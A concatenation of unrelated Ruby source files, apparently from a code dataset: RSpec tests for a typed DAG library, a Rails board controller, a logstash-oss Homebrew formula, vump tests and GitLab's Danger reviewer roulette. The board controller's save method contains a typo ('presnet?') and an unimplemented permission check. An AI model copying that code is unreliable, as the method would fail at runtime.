.to match_array([b])
end
end
end
description = <<-WITH
DAG before:
A B
DAG after:
B
|
|
|
A
via:
assigning to attributes as part of a hash
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
before do
a.attributes = { from => from_one_or_array(b) }
end
if from_limit == 1
it 'is B' do
expect(a.send(from))
.to eql b
end
else
it 'includes B' do
expect(a.send(from))
.to match_array([b])
end
end
end
description = <<-WITH
DAG before:
B
DAG after:
B
|
|
|
A
via:
on creation
WITH
context description do
let!(:b) { Message.create text: 'B' }
let(:a) do
Message.create from => from_one_or_array(b)
end
before do
a
end
if from_limit == 1
it 'is B' do
expect(a.send(from))
.to eql b
end
else
it 'includes B' do
expect(a.send(from))
.to match_array([b])
end
end
end
description = <<-WITH
DAG before:
A B C
DAG after:
C
|
|
|
B
|
|
|
A
Assigning top down
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
let!(:c) { Message.create text: 'C' }
before do
b.send("#{from}=", from_one_or_array(c))
a.send("#{from}=", from_one_or_array(b))
end
it 'builds the complete hierarchy' do
expect(a.send(all_from))
.to match_array([b, c])
end
end
description = <<-WITH
DAG before:
A B C
DAG after:
A
|
|
|
B
|
|
|
C
Assigning top down
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
let!(:c) { Message.create text: 'C' }
before do
b.send("#{from}=", from_one_or_array(a))
c.send("#{from}=", from_one_or_array(b))
end
it 'builds the complete hierarchy' do
expect(a.send(all_to))
.to match_array([b, c])
end
end
description = <<-'WITH'
DAG before:
A B C D
DAG after:
A
|
|
|
B
/ \
/ \
/ \
C D
Assigning depth first
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
let!(:c) { Message.create text: 'C' }
let!(:d) { Message.create text: 'D' }
before do
b.send("#{from}=", from_one_or_array(a))
c.send("#{from}=", from_one_or_array(b))
d.send("#{from}=", from_one_or_array(b))
end
it 'builds the complete hierarchy' do
expect(a.send(all_to))
.to match_array([b, c, d])
end
end
description = <<-WITH
DAG before:
A C
| |
| |
| |
B D
DAG after:
A
|
|
|
B
|
|
|
C
|
|
|
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { Message.create text: 'C' }
let!(:d) { message_with_from 'D', c }
before do
c.send("#{from}=", from_one_or_array(b))
end
it 'builds the complete transitive to for A' do
expect(a.send(all_to))
.to match_array([b, c, d])
end
it 'build the correct second generation to for A' do
expect(a.send(all_to_depth, 2))
.to match_array([c])
end
it 'build the correct third generation to for A' do
expect(a.send(all_to_depth, 3))
.to match_array([d])
end
it 'builds the complete transitive to for B' do
expect(b.send(all_to))
.to match_array([c, d])
end
it 'builds the complete transitive from for D' do
expect(d.send(all_from))
.to match_array([c, b, a])
end
it 'builds the complete transitive from for C' do
expect(c.send(all_from))
.to match_array([b, a])
end
end
description = <<-WITH
DAG before:
A
|
|
|
B
|
|
|
C
|
|
|
D
DAG after:
A C
| |
| |
| |
B D
via:
assigning nil/empty to C's from method
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
let!(:d) { message_with_from 'D', c }
before do
if from_limit == 1
c.send("#{from}=", nil)
else
c.send("#{from}=", [])
end
end
it 'empties transitive to for A except B' do
expect(a.send(all_to))
.to match_array [b]
end
it 'empties transitive to for B' do
expect(b.send(all_to))
.to be_empty
end
it 'empties to for B' do
expect(b.send(to))
.to be_empty
end
it 'empties transitive from for D except C' do
expect(d.send(all_from))
.to match_array([c])
end
it 'empties transitive from for C' do
expect(c.send(all_from))
.to be_empty
end
end
description = <<-WITH
DAG before:
A
|
|
|
B
|
|
|
C
DAG after:
A B
|
|
|
C
via:
assigning nil/empty to B's from method
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
before do
if from_limit == 1
b.send("#{from}=", nil)
else
b.send("#{from}=", [])
end
end
it 'empties transitive to for A' do
expect(a.send(all_to))
.to be_empty
end
it 'transitive to for B is C' do
expect(b.send(all_to))
.to match_array [c]
end
it 'empties to for A' do
expect(a.send(to))
.to be_empty
end
it 'empties transitive from for B' do
expect(b.send(all_from))
.to be_empty
end
end
description = <<-WITH
DAG before (unpersisted):
B
|
|
|
A
assigning nil afterwards
WITH
context description do
let!(:a) { Message.new text: 'A' }
let!(:b) { Message.create text: 'B' }
before do
a.send("#{from}=", from_one_or_array(b))
a.send("#{from}=", from_one_or_array(nil))
end
if from_limit == 1
it 'is nil' do
expect(a.send(from))
.to be_nil
end
else
it 'is empty' do
expect(a.send(from))
.to be_empty
end
end
end
end
describe "#{all_to_depth} (all to of depth X)" do
description = <<-'WITH'
DAG before:
A
|
|
|
B
/ \
/ \
/ \
C D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
let!(:d) { message_with_from 'D', b }
it 'is B for A with depth 1' do
expect(a.send(all_to_depth, 1))
.to match_array [b]
end
it 'is C and D for A with depth 2' do
expect(a.send(all_to_depth, 2))
.to match_array [c, d]
end
end
end
describe "#{all_from_depth} (all from of depth X)" do
description = <<-'WITH'
DAG before:
A
|
|
|
B
|
|
|
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'is B for C with depth 1' do
expect(c.send(all_from_depth, 1))
.to match_array [b]
end
it 'is C and D for A with depth 2' do
expect(c.send(all_from_depth, 2))
.to match_array [a]
end
end
if !from_limit || from_limit > 1
description = <<-'WITH'
DAG before:
A B
\ /
\ /
\ /
C
|
|
|
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
let!(:c) do
message = Message.create text: 'C'
message.send("#{from}=", [a, b])
message
end
let!(:d) { message_with_from 'd', c }
it 'is C for D with depth 1' do
expect(d.send(all_from_depth, 1))
.to match_array [c]
end
it 'is A and B for D with depth 2' do
expect(d.send(all_from_depth, 2))
.to match_array [a, b]
end
end
end
end
describe '#destroy' do
description = <<-WITH
DAG before:
A
|
|
|
B
|
|
|
C
|
|
|
D
DAG after:
A D
|
|
|
B
via:
remove C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
let!(:d) { message_with_from 'D', c }
before do
c.destroy
end
it 'empties transitive to for A except B' do
expect(a.send(all_to))
.to match_array [b]
end
it 'empties transitive to for B' do
expect(b.send(all_to))
.to be_empty
end
it 'empties to for B' do
expect(b.send(to))
.to be_empty
end
it 'empties transitive from for D' do
expect(d.send(all_from))
.to be_empty
end
if from_limit == 1
it "assigns nil to D's from" do
d.reload
expect(d.send(from))
.to be_nil
end
else
it 'empties from for D' do
expect(d.send(all_from))
.to be_empty
end
end
end
end
describe '#destroy on a relation' do
if !from_limit || from_limit > 1
description = <<-'WITH'
DAG before:
A
/|\
/ | \
+ + +
B--+C+--D
| |
| |
+ |
E |
\ |
\ |
++
F
|
|
|
G
DAG after:
A
/|\
/ | \
+ + +
B--+C+--D
|
|
+
E
\
\
+
F
|
|
+
G
via:
remove edge between C and F
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:d) { message_with_from 'D', a }
let!(:c) { message_with_from 'C', [a, b, d] }
let!(:e) { message_with_from 'E', b }
let!(:f) { message_with_from 'F', [e, c] }
let!(:g) { message_with_from 'G', f }
before do
Relation.where(from: c, to: f).destroy_all
end
it "#{all_to} (transitive to) of A is B, C, D, E, F, G" do
expect(a.send(all_to))
.to match_array([b, c, d, e, f, g])
end
it "#{all_to} (transitive to) of B is C, E, F, G" do
expect(b.send(all_to))
.to match_array([c, e, f, g])
end
it "#{all_to} (transitive to) of C is empty" do
expect(c.send(all_to))
.to be_empty
end
it "#{all_to} (transitive to) of D is C" do
expect(d.send(all_to))
.to match_array([c])
end
it "#{all_from} (transitive from) of F is E, B, A" do
expect(f.send(all_from))
.to match_array([e, b, a])
end
it "#{all_to_depth} (transitive to of depth) of A with depth 4 is G" do
expect(a.send(all_to_depth, 4))
.to match_array([g])
end
it "#{all_to_depth} (transitive to of depth) of A with depth 3 is F" do
expect(a.send(all_to_depth, 3))
.to match_array([f])
end
end
end
end
end
context 'hierarchy relations' do
it_behaves_like 'single typed dag',
type: :hierarchy,
to: :children,
from: { name: :parent, limit: 1 },
all_to: :descendants,
all_from: :ancestors
end
context 'invalidate relations' do
it_behaves_like 'single typed dag',
type: :invalidate,
to: :invalidates,
from: :invalidated_by,
all_to: :all_invalidates,
all_from: :all_invalidated_by
end
context 'relations of various types' do
describe 'directly to' do
description = <<-'WITH'
DAG:
------- A -------
/ \
invalidate hierarchy
/ \
B C
/ \ / \
invalidate hierarchy invalidate hierarchy
/ \ / \
D E F G
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:d) { create_message_with_invalidated_by('D', b) }
let!(:e) { Message.create text: 'E', parent: b }
let!(:c) { Message.create text: 'C', parent: a }
let!(:f) { create_message_with_invalidated_by('F', c) }
let!(:g) { Message.create text: 'G', parent: c }
it '#invalidates for A includes B' do
expect(a.invalidates)
.to match_array([b])
end
it '#invalidates for B includes D' do
expect(b.invalidates)
.to match_array([d])
end
it '#children for A includes C' do
expect(a.children)
.to match_array([c])
end
it '#children for C includes G' do
expect(c.children)
.to match_array([g])
end
end
end
describe 'transitive to' do
description = <<-'WITH'
DAG:
------- A -------
/ \
invalidate hierarchy
/ \
B C
/ \ / \
invalidate hierarchy invalidate hierarchy
/ \ / \
D E F G
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:d) { create_message_with_invalidated_by('D', b) }
let!(:e) { Message.create text: 'E', parent: b }
let!(:c) { Message.create text: 'C', parent: a }
let!(:f) { create_message_with_invalidated_by('F', c) }
let!(:g) { Message.create text: 'G', parent: c }
it '#all_invalidates for A are B and D' do
expect(a.all_invalidates)
.to match_array([b, d])
end
it '#descendants for A are C and G' do
expect(a.descendants)
.to match_array([c, g])
end
end
end
describe 'transitive from' do
description = <<-'WITH'
DAG:
------- A -------
/ \
invalidate hierarchy
/ \
B C
/ \ / \
invalidate hierarchy invalidate hierarchy
/ \ / \
D E F G
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:d) { create_message_with_invalidated_by('D', b) }
let!(:e) { Message.create text: 'E', parent: b }
let!(:c) { Message.create text: 'C', parent: a }
let!(:f) { create_message_with_invalidated_by('F', c) }
let!(:g) { Message.create text: 'G', parent: c }
it '#all_invalidated_by for D are B and A' do
expect(d.all_invalidated_by)
.to match_array([b, a])
end
it '#all_invalidated_by for F is C' do
expect(f.all_invalidated_by)
.to match_array([c])
end
it '#all_invalidated_by for G is empty' do
expect(g.all_invalidated_by)
.to be_empty
end
it '#ancestors for G are C and A' do
expect(g.ancestors)
.to match_array([c, a])
end
it '#ancestors for C is A' do
expect(c.ancestors)
.to match_array([a])
end
it '#ancestors for D is empty' do
expect(d.ancestors)
.to be_empty
end
end
description = <<-'WITH'
DAG:
A
/ \
invalidate hierarchy
/ \
B C
\ /
invalidate hierarchy
\ /
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:c) { Message.create text: 'C', parent: a }
let!(:d) do
message = Message.create text: 'D', parent: c
message.invalidated_by = [b]
message
end
it '#all_invalidates for A are B and D' do
expect(a.all_invalidates)
.to match_array([b, d])
end
it '#descendants for A are C and D' do
expect(a.descendants)
.to match_array([c, d])
end
it '#all_invalidated_by for D are B and A' do
expect(d.all_invalidated_by)
.to match_array([b, a])
end
it '#ancestors for D are C and A' do
expect(d.ancestors)
.to match_array([c, a])
end
end
end
describe '#destroy' do
description = <<-'WITH'
DAG before:
------- A -------
/ \
invalidate hierarchy
/ \
B C
/ \ / \
invalidate hierarchy invalidate hierarchy
/ \ / \
D E F G
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:d) { create_message_with_invalidated_by('D', b) }
let!(:e) { Message.create text: 'E', parent: b }
let!(:c) { Message.create text: 'C', parent: a }
let!(:f) { create_message_with_invalidated_by('F', c) }
let!(:g) { Message.create text: 'G', parent: c }
description = <<-'WITH'
DAG after (A deleted):
B C
/ \ / \
invalidate hierarchy invalidate hierarchy
/ \ / \
D E F G
WITH
context description do
before do
a.destroy
end
it '#all_invalidated_by for D is B' do
expect(d.all_invalidated_by)
.to match_array([b])
end
it '#all_invalidated_by for F is C' do
expect(f.all_invalidated_by)
.to match_array([c])
end
it '#all_invalidated_by for G is empty' do
expect(g.all_invalidated_by)
.to be_empty
end
it '#ancestors for G is C' do
expect(g.ancestors)
.to match_array([c])
end
it '#ancestors for C is empty' do
expect(c.ancestors)
.to be_empty
end
it '#ancestors for D is empty' do
expect(d.ancestors)
.to be_empty
end
end
description = <<-'WITH'
DAG after (C deleted):
A F G
|
invalidate
|
B
/ \
invalidate hierarchy
/ \
D E
WITH
context description do
before do
c.destroy
end
it '#descendants for A is empty' do
expect(a.descendants)
.to be_empty
end
it '#all_invalidates for A are B and D' do
expect(a.all_invalidates)
.to match_array([b, d])
end
it '#all_invalidated_by for D is B and A' do
expect(d.all_invalidated_by)
.to match_array([b, a])
end
it '#all_invalidated_by for F is empty' do
expect(f.all_invalidated_by)
.to be_empty
end
it '#all_invalidated_by for G is empty' do
expect(g.all_invalidated_by)
.to be_empty
end
it '#ancestors for G is empty' do
expect(g.ancestors)
.to be_empty
end
it '#ancestors for D is empty' do
expect(d.ancestors)
.to be_empty
end
end
end
end
describe '#rebuild_dag!' do
description = <<-'WITH'
DAG (messed up transitive closures):
A ------
/|\ |
i i i h
+ + + +
B-i+C+i-D H
| | |
i | h
+ i +
E | I
\ | /
i | /
++ /
F /
| /
i h
++
G
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:d) { create_message_with_invalidated_by('D', a) }
let!(:c) { create_message_with_invalidated_by('C', [a, b, d]) }
let!(:e) { create_message_with_invalidated_by('E', b) }
let!(:f) { create_message_with_invalidated_by('F', [e, c]) }
let!(:h) { Message.create text: 'H', parent: a }
let!(:i) { Message.create text: 'I', parent: h }
let!(:g) do
msg = Message.create text: 'G', parent: i
msg.invalidated_by = [f]
msg
end
before do
Relation
.where('hierarchy + invalidate > 1')
.update_all('hierarchy = hierarchy + 10, invalidate = invalidate + 10')
Message.rebuild_dag!
end
it 'rebuilds the closure for A correctly' do
attribute_array = to_attribute_array a.relations_to
expect(attribute_array)
.to match_array([['A', 'A', 0, 0, 1],
['A', 'B', 0, 1, 1],
['A', 'C', 0, 1, 1],
['A', 'C', 0, 2, 2],
['A', 'D', 0, 1, 1],
['A', 'E', 0, 2, 1],
['A', 'F', 0, 2, 1],
['A', 'F', 0, 3, 3],
['A', 'G', 0, 3, 1],
['A', 'G', 0, 4, 3],
['A', 'G', 3, 0, 1],
['A', 'H', 1, 0, 1],
['A', 'I', 2, 0, 1]])
end
it 'rebuilds the closure for B correctly' do
attribute_array = to_attribute_array b.relations_to
expect(attribute_array)
.to match_array([['B', 'B', 0, 0, 1],
['B', 'C', 0, 1, 1],
['B', 'E', 0, 1, 1],
['B', 'F', 0, 2, 2],
['B', 'G', 0, 3, 2]])
end
it 'rebuilds all reflexive relations' do
expect(Relation.where(hierarchy: 0, invalidate: 0).count)
.to eql 9
end
end
description = <<-'WITH'
DAG (invalid) before:
A
+ \
i h
/ +
C+--h---B
DAG after:
A
\
h
+
C+--h---B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B', parent: a }
let!(:c) { Message.create text: 'C', parent: b }
let!(:invalid_relation) do
Relation
.new(from: c,
to: a,
invalidate: 1)
.save(validate: false)
end
before do
Message.rebuild_dag!
end
it '#descendants_of_depth(1) for A is B' do
expect(a.descendants_of_depth(1))
.to match_array([b])
end
it '#descendants_of_depth(2) for A is C' do
expect(a.descendants_of_depth(2))
.to match_array([c])
end
it '#all_invalidates_of_depth(1) for C is empty' do
expect(c.all_invalidates_of_depth(1))
.to be_empty
end
end
description = <<-'WITH'
DAG (invalid) before:
C+-h--B
|+ +
| \ |
h i h
| \ |
+ \|
D--h-+A
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B', parent: a }
let!(:c) { Message.create text: 'C', parent: b }
let!(:d) { Message.create text: 'D', parent: c }
let!(:invalid_relation1) do
Relation
.new(from: a,
to: c,
invalidate: 1)
.save(validate: false)
end
let!(:invalid_relation2) do
Relation
.new(from: d,
to: a,
hierarchy: 1)
.save(validate: false)
end
it 'throws an error if more attempts than specified are made' do
expect { Message.rebuild_dag!(1) }
.to raise_error(TypedDag::RebuildDag::AttemptsExceededError)
end
end
end
describe '*_leaf?' do
description = <<-'WITH'
DAG:
------- A -------
/ \
invalidate hierarchy
/ \
B C
| |
hierarchy invalidate
| |
D E
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { create_message_with_invalidated_by('B', a) }
let!(:c) { Message.create text: 'C', parent: a }
let!(:d) { Message.create text: 'D', parent: b }
let!(:e) { create_message_with_invalidated_by('E', c) }
it '#invalidate_leaf? for A is false' do
expect(a)
.not_to be_invalidate_leaf
end
it '#hierarchy_leaf? for A is false' do
expect(a)
.not_to be_hierarchy_leaf
end
it '#invalidate_leaf? for B is true' do
expect(b)
.to be_invalidate_leaf
end
it '#hierarchy_leaf? for B is false' do
expect(b)
.not_to be_hierarchy_leaf
end
it '#invalidate_leaf? for C is false' do
expect(c)
.not_to be_invalidate_leaf
end
it '#hierarchy_leaf? for C is true' do
expect(c)
.to be_hierarchy_leaf
end
end
end
end
end
| 22.98302 | 96 | 0.416134 |
33db9515a59fe5c8c1f025a93806ab0cf436434c | 3,207 | class LogstashOss < Formula
desc "Tool for managing events and logs"
homepage "https://www.elastic.co/products/logstash"
url "https://artifacts.elastic.co/downloads/logstash/logstash-oss-7.16.3-darwin-x86_64.tar.gz?tap=elastic/homebrew-tap"
version "7.16.3"
sha256 "8392257298a06d20ae32ee4d6c83d2663a12447857ce8733a6bd237da3f4cb7c"
conflicts_with "logstash"
conflicts_with "logstash-full"
def install
inreplace "bin/logstash",
%r{^\. "\$\(cd `dirname \${SOURCEPATH}`\/\.\.; pwd\)\/bin\/logstash\.lib\.sh\"},
". #{libexec}/bin/logstash.lib.sh"
inreplace "bin/logstash-plugin",
%r{^\. "\$\(cd `dirname \$0`\/\.\.; pwd\)\/bin\/logstash\.lib\.sh\"},
". #{libexec}/bin/logstash.lib.sh"
inreplace "bin/logstash.lib.sh",
/^LOGSTASH_HOME=.*$/,
"LOGSTASH_HOME=#{libexec}"
libexec.install Dir["*"]
# Move config files into etc
(etc/"logstash").install Dir[libexec/"config/*"]
(libexec/"config").rmtree
bin.install libexec/"bin/logstash", libexec/"bin/logstash-plugin"
bin.env_script_all_files(libexec/"bin", {})
system "find", "#{libexec}/jdk.app/Contents/Home/bin", "-type", "f", "-exec", "codesign", "-f", "-s", "-", "{}", ";"
end
def post_install
# Make sure runtime directories exist
ln_s etc/"logstash", libexec/"config"
end
def caveats; <<~EOS
Please read the getting started guide located at:
https://www.elastic.co/guide/en/logstash/current/getting-started-with-logstash.html
EOS
end
plist_options :manual => "logstash"
def plist
<<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<false/>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_bin}/logstash</string>
</array>
<key>EnvironmentVariables</key>
<dict>
</dict>
<key>RunAtLoad</key>
<true/>
<key>WorkingDirectory</key>
<string>#{var}</string>
<key>StandardErrorPath</key>
<string>#{var}/log/logstash.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/logstash.log</string>
</dict>
</plist>
EOS
end
test do
# workaround https://github.com/elastic/logstash/issues/6378
(testpath/"config").mkpath
["jvm.options", "log4j2.properties", "startup.options"].each do |f|
cp prefix/"libexec/config/#{f}", testpath/"config"
end
(testpath/"config/logstash.yml").write <<~EOS
path.queue: #{testpath}/queue
EOS
(testpath/"data").mkpath
(testpath/"logs").mkpath
(testpath/"queue").mkpath
data = "--path.data=#{testpath}/data"
logs = "--path.logs=#{testpath}/logs"
settings = "--path.settings=#{testpath}/config"
output = pipe_output("#{bin}/logstash -e '' #{data} #{logs} #{settings} --log.level=fatal", "hello world\n")
assert_match "hello world", output
end
end
| 33.40625 | 121 | 0.599314 |
ff7ff873565abb1605edb449eb580bb58b2e90df | 224 | module AuthenticationHelper
private
def authenticate_request
@current_user = AuthorizeApiRequest.call(request.headers).result
render json: { error: 'Not Authorized' }, status: 401 unless @current_user
end
end | 24.888889 | 78 | 0.767857 |
38c27691f831e2575f73b5510a7b4b01355c48f9 | 3,181 | require 'vump/vump'
require 'git'
require 'vump/modules/base_module'
class TestModule < Vump::BaseModule
def initialize(base_dir, opts = {}); end
def relevant?
true
end
def read
'0.0.0'
end
def name
self.class.name
end
def write(version)
@@last_write = version
true
end
def self.last_write
@@last_write
end
end
class IrrelevantTestModule < Vump::BaseModule
def initialize(base_dir, opts = {}); end
def relevant?
false
end
def read
nil
end
end
vump = Vump::Vump.new('/', :minor, silent: true)
vump.logger.level = Logger::UNKNOWN
RSpec.describe vump.class.name do
context 'real modules' do
it 'all_modules' do
expect(vump.all_modules).to be_an_instance_of(Array)
end
end
context 'fake modules' do
before :each do
mods = [
TestModule,
IrrelevantTestModule,
]
allow_any_instance_of(Vump::Vump).to(
receive(:all_modules).and_return(mods)
)
end
it 'load_modules' do
expect(vump.load_modules.length).to be(2)
end
it 'read_versions' do
expect(vump.read_versions(vump.load_modules)).to match_snapshot
end
it 'select_version' do
expect(vump.select_version(%w[a b c])).to be_falsy
expect(vump.select_version(%w[a])).to be_truthy
end
it 'start' do
vump.bump(:minor)
expect(TestModule.last_write).to eq('0.1.0')
end
end
context 'integration tests' do
sandbox_dir = File.expand_path('sandbox', __dir__)
version_path = File.expand_path('VERSION', sandbox_dir)
pre_commit_hook_path = File.expand_path('./.git/hooks/pre-commit', sandbox_dir)
before :all do
FileUtils.rm_rf(sandbox_dir)
FileUtils.mkdir_p(sandbox_dir)
git = Git.init(sandbox_dir)
git.config('user.name', 'Vump test')
git.config('user.email', '[email protected]')
end
after :all do
FileUtils.rm_rf(sandbox_dir)
end
it 'set custom version' do
File.write(version_path, "0.0.0\n")
v = Vump::Vump.new(sandbox_dir, '0.2.0', silent: true)
v.bump('0.2.0')
expect(File.read(version_path)).to eql("0.2.0\n")
end
it 'set custom invalid version and no change' do
File.write(version_path, "0.0.0\n")
v = Vump::Vump.new(sandbox_dir, '0.foo.1', silent: true)
v.bump('0.foo.1')
expect(File.read(version_path)).to eql("0.0.0\n")
end
it 'flow with version' do
git = Git.open(sandbox_dir)
File.write(version_path, "0.0.0\n")
git.add(version_path)
git.commit('Initial commit')
v = Vump::Vump.new(sandbox_dir, :minor, silent: true)
v.bump(:minor)
expect(git.gcommit('HEAD').message).to eql('Release version 0.1.0')
expect(git.tags.first.name).to eql('0.1.0')
end
it 'fail commit on hook' do
git = Git.open(sandbox_dir)
File.write(pre_commit_hook_path, "exit 1\n")
File.chmod(0o777, pre_commit_hook_path)
v = Vump::Vump.new(sandbox_dir, :minor, silent: true)
v.bump(:minor)
expect(git.gcommit('HEAD').message).to eql('Release version 0.1.0')
expect(git.tags.first.name).to eql('0.1.0')
end
end
end
| 25.448 | 83 | 0.64005 |
e8f0dbedfd4c858d8b03af81566b6a10f460c72e | 3,306 | class BoardController < ApplicationController
before_filter :require_login, :except=>[:index, :view]
def index
@public_boards = Board.getPublicBoards
@own_boards = false
if @isLogin then
@own_boards = Board.getOwnBoards @user
end
end
def create
@board = Board.new
end
def list
return unless has_board_select
return unless check_pass @board.permissionForView(@user), 'Access deny'
@tasks = TaskLink.where('previous_id = ? and board_id = ?', 0, @board.id ).map{ |task|
get_task_list(task);
}
end
def view
return unless has_board_select
return unless check_pass @board.permissionForView(@user), 'Access deny'
@states = TaskState.getStateJsonByBoardId(@board.id)
@users = false # list user for selector
@view_only = false
@view_only = true if params[:mode] == 'view_only'
@permissionEdit = false
@canEdit = false # control edit mode
if @board.permissionForEdit(@user) then
@users = {}
@users[0] = 'Me'
BoardPermission.getUsersByBoardId(@board.id).each do |user|
@users[user.id] = user.name
end
@permissionEdit = true
@canEdit = true unless @view_only
@permissionSetting = @board.permissionForSetting(@user)
end
end
def save
# TODO check permission
if params[:board_id].present? then
@board = Board.find_by_id(params[:board_id])
@board.update(boardFromParams(params)) unless @board.presnet?
end
unless @board.present?
@board = Board.new(boardFromParams(params))
@board.creator_id = @user.id
end
@board.save
# set permission
BoardPermission.setBoardPermission @user.id, @board.id, 'Creator'
flash[:msg] = 'Board save success'
redirect_to :action=>:index
end
def setting
return unless has_board_select
return unless check_pass @board.permissionForSetting(@user), 'Access deny'
if params[:post_action]=='save' then
error = BoardPermission.checkBoardPermissionChangeWillHasError(params[:user_id], @board, params[:permission])
unless error then
if BoardPermission.setBoardPermission(params[:user_id], @board.id, params[:permission]) then
flash[:msg] = 'Set Permission success'
else
flash[:error] = 'Set Permission Failed'
end
redirect_to :id=>@board.id
return
else
flash[:error] = error
redirect_to :id=>@board.id
return
end
end
exists_user = {}
@users = BoardPermission.getUsersByBoardId(@board.id).map{ |user|
exists_user[user.id] = true
{
:id=>user.id, :name=>user.name, :board_permission => user.board_permission
}
}
@allUsers = User.all.map{ |user|
{
:id=>user.id, :name=>user.name
}
}.select{ |user|
!(exists_user.include? user[:id])
}
end
protected
def get_task_list (task)
subs = TaskLink.where('previous_id = ? and board_id = ?', task.id, task.board_id ).map { |sub|
get_task_list(sub)
}
return {
:task => task,
:subs => subs
}
end
def has_board_select()
@board = Board.find_by_id(params[:id])
unless @board.present? then
redirect_to :action=>:index
return false
end
return true
end
def check_pass(value, message = nil)
unless value then
flash[:error] = message
redirect_to :action=>:index
return false
end
return true
end
def boardFromParams(params)
params.require(:board).permit(:name, :public_state)
end
end
| 23.446809 | 112 | 0.692377 |
ed4af3f4a43cf2a67e1d8a82aece1188b48f2df5 | 5,006 | # frozen_string_literal: true
require_relative 'teammate'
module Gitlab
module Danger
module Roulette
ROULETTE_DATA_URL = 'https://gitlab-org.gitlab.io/gitlab-roulette/roulette.json'
HOURS_WHEN_PERSON_CAN_BE_PICKED = (6..14).freeze
INCLUDE_TIMEZONE_FOR_CATEGORY = {
database: false
}.freeze
Spin = Struct.new(:category, :reviewer, :maintainer, :optional_role)
# Assigns GitLab team members to be reviewer and maintainer
# for each change category that a Merge Request contains.
#
# @return [Array<Spin>]
def spin(project, categories, branch_name, timezone_experiment: false)
team =
begin
project_team(project)
rescue => err
warn("Reviewer roulette failed to load team data: #{err.message}")
[]
end
canonical_branch_name = canonical_branch_name(branch_name)
spin_per_category = categories.each_with_object({}) do |category, memo|
including_timezone = INCLUDE_TIMEZONE_FOR_CATEGORY.fetch(category, timezone_experiment)
memo[category] = spin_for_category(team, project, category, canonical_branch_name, timezone_experiment: including_timezone)
end
spin_per_category.map do |category, spin|
case category
when :test
if spin.reviewer.nil?
# Fetch an already picked backend reviewer, or pick one otherwise
spin.reviewer = spin_per_category[:backend]&.reviewer || spin_for_category(team, project, :backend, canonical_branch_name).reviewer
end
when :engineering_productivity
if spin.maintainer.nil?
# Fetch an already picked backend maintainer, or pick one otherwise
spin.maintainer = spin_per_category[:backend]&.maintainer || spin_for_category(team, project, :backend, canonical_branch_name).maintainer
end
end
spin
end
end
# Looks up the current list of GitLab team members and parses it into a
# useful form
#
# @return [Array<Teammate>]
def team
@team ||=
begin
data = Gitlab::Danger::RequestHelper.http_get_json(ROULETTE_DATA_URL)
data.map { |hash| ::Gitlab::Danger::Teammate.new(hash) }
rescue JSON::ParserError
raise "Failed to parse JSON response from #{ROULETTE_DATA_URL}"
end
end
# Like +team+, but only returns teammates in the current project, based on
# project_name.
#
# @return [Array<Teammate>]
def project_team(project_name)
team.select { |member| member.in_project?(project_name) }
end
def canonical_branch_name(branch_name)
branch_name.gsub(/^[ce]e-|-[ce]e$/, '')
end
def new_random(seed)
Random.new(Digest::MD5.hexdigest(seed).to_i(16))
end
# Known issue: If someone is rejected due to OOO, and then becomes not OOO, the
# selection will change on next spin
# @param [Array<Teammate>] people
def spin_for_person(people, random:, timezone_experiment: false)
shuffled_people = people.shuffle(random: random)
if timezone_experiment
shuffled_people.find(&method(:valid_person_with_timezone?))
else
shuffled_people.find(&method(:valid_person?))
end
end
private
# @param [Teammate] person
# @return [Boolean]
def valid_person?(person)
!mr_author?(person) && person.available
end
# @param [Teammate] person
# @return [Boolean]
def valid_person_with_timezone?(person)
valid_person?(person) && HOURS_WHEN_PERSON_CAN_BE_PICKED.cover?(person.local_hour)
end
# @param [Teammate] person
# @return [Boolean]
def mr_author?(person)
person.username == gitlab.mr_author
end
def spin_role_for_category(team, role, project, category)
team.select do |member|
member.public_send("#{role}?", project, category, gitlab.mr_labels) # rubocop:disable GitlabSecurity/PublicSend
end
end
def spin_for_category(team, project, category, branch_name, timezone_experiment: false)
reviewers, traintainers, maintainers =
%i[reviewer traintainer maintainer].map do |role|
spin_role_for_category(team, role, project, category)
end
# TODO: take CODEOWNERS into account?
